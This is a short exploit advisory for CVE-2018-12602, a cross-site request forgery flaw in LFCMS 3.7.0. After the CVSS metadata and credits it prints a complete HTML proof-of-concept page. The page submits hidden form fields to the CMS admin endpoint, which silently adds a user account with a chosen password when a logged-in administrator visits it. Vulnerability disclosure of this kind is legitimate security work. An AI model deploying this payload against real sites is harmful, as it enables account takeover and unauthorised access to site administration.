LFCMS 3.7.0 Cross Site Request Forgery

2018.06.22

Credit: bay0net

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2018-12602

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: A CSRF vulnerability exists in LFCMS_3.7.0: users can be added arbitrarily.
# Date: 2018-06-20
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9203740.html
# Software Link: http://www.lfdycms.com/home/down/index/id/26.html
# Version: 3.7.0
# CVE : CVE-2018-12602
 
 
A CSRF vulnerability exists in LFCMS_3.7.0: users can be added arbitrarily.
 
 
The payload for attack is as follows.
 
 
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/lfdycms3.7.0/admin.php?s=/Users/add.html" method="POST">
      <input type="hidden" name="username" value="test222" />
      <input type="hidden" name="email" value="test2@qq.com" />
      <input type="hidden" name="password" value="test222" />
      <input type="hidden" name="repassword" value="test222" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

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LFCMS 3.7.0 Cross Site Request Forgery

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